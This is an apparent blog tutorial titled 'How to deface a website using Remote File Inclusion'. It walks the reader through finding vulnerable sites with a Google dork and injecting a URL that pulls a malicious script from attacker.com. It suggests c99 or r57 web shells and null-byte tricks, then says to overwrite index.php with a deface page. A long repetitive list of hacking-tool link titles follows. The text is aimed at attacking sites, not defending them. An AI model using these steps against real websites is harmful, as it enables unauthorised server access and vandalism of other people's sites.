HOW TO DEFACE A WEBSITE USING REMOTE FILE INCLUSION (RFI)?

HOW TO DEFACE A WEBSITE USING REMOTE FILE INCLUSION (RFI)?

Remote File Inclusion (RFI) is a technique that allows the attacker to upload a malicious code or file on a website or server. The vulnerability exploits the different sort of validation checks in a website and can lead to code execution on server or code execution on the website. This time, I will be writing a simple tutorial on Remote File Inclusion and by the end of the tutorial, I suppose you will know what it is all about and may be able to deploy an attack.

RFI is a common vulnerability. All the website hacking is not exactly about SQL injection. Using RFI you can literally deface the websites, get access to the server and play almost anything with the server. Why it put a red alert to the websites, just because of that you only need to have your common sense and basic knowledge of PHP to execute malicious code. BASH might come handy as most of the servers today are hosted on Linux.

SO, HOW TO HACK A WEBSITE OR SERVER WITH RFI?

First of all, we need to find out an RFI vulnerable website. Let's see how we can find one.

As we know finding a vulnerability is the first step to hack a website or server. So, let's get started and simply go to Google and search for the following query.

inurl: "index.php?page=home"

At the place of home, you can also try some other pages like products, gallery and etc.

If you already a know RFI vulnerable website, then you don't need to find it through Google.

Once we have found it, let's move on to the next step. Let's see we have a following RFI vulnerable website.

http://target.com/index.php?page=home

As you can see, this website pulls documents stored in text format from the server and renders them as web pages. Now we can use PHP include function to pull them out. Let's see how it works.

http://target.com/index.php?page=http://attacker.com/maliciousScript.txt

I have included my malicious code txt URL at the place of home. You can use any shell for malicious scripts like c99, r57 or any other.

Now, if it's a really vulnerable website, then there would be 3 things that can happen.

1. You might have noticed that the URL consisted of "page=home" had no extension, but I have included an extension in my URL, hence the site may give an error like 'failure to include maliciousScript.txt', this might happen as the site may be automatically adding the .txt extension to the pages stored in server.
2. In case, it automatically appends something in the lines of .php then we have to use a null byte '' in order to avoid error.
3. Successful execution.

As we get the successful execution of the code, we're good to go with the shell. Now we'll browse the shell for index.php. And will replace the file with our deface page.

Related links

1. Bluetooth Hacking Tools Kali
2. Best Pentesting Tools 2018
3. Pentest Tools Android
4. Hacking Tools And Software
5. Hack Tools Github
6. Github Hacking Tools
7. Hacker Tools 2020
8. Physical Pentest Tools
9. Pentest Tools Website
10. New Hacker Tools
11. Hak5 Tools
12. Pentest Tools For Android
13. Hacking Tools Free Download
14. Hacker Tools Online
15. Pentest Tools Online
16. Hacking Apps
17. Hackrf Tools
18. Pentest Reporting Tools
19. Hacker Tools 2020
20. Hack Tools For Pc
21. Pentest Tools Kali Linux
22. Hacks And Tools
23. Easy Hack Tools
24. Hack Tools For Mac
25. Hacker Tools Apk Download
26. Hack App
27. Growth Hacker Tools
28. Install Pentest Tools Ubuntu
29. Hack Tools Github
30. Pentest Tools For Android
31. Hack Tools 2019
32. Hacking Tools Usb
33. How To Install Pentest Tools In Ubuntu
34. Blackhat Hacker Tools
35. Hack Tools Online
36. Pentest Tools Tcp Port Scanner
37. Pentest Tools Tcp Port Scanner
38. Best Pentesting Tools 2018
39. Kik Hack Tools
40. Pentest Tools Download
41. Hacker Tools Github
42. Nsa Hack Tools Download
43. Pentest Tools Review
44. Pentest Tools Website
45. Pentest Tools Website Vulnerability
46. Nsa Hack Tools
47. What Are Hacking Tools
48. Pentest Tools
49. Hacker Tools Online
50. Android Hack Tools Github
51. Growth Hacker Tools
52. Game Hacking
53. Beginner Hacker Tools
54. Game Hacking
55. Hacking Tools For Windows
56. Hacker Tools Free
57. Best Hacking Tools 2020
58. Hacker Tools Apk Download
59. Nsa Hack Tools Download
60. Easy Hack Tools
61. Hack Tools For Windows
62. Pentest Tools
63. Pentest Tools Linux
64. Hacking Tools And Software
65. Hacker Tools 2019
66. Pentest Tools Github
67. Hacker Tools For Ios
68. Pentest Tools Apk
69. Hack Rom Tools
70. Free Pentest Tools For Windows
71. Hacker Tools Linux
72. Github Hacking Tools
73. Hacker Tools Online
74. Hack Tools For Pc
75. Android Hack Tools Github
76. Hacker Tools Free Download
77. Pentest Recon Tools
78. Hacker Tools Windows
79. Hack Website Online Tool
80. Pentest Tools For Android
81. Pentest Tools List
82. Pentest Tools For Ubuntu
83. How To Make Hacking Tools
84. Hack App
85. Hacking Tools Usb
86. Free Pentest Tools For Windows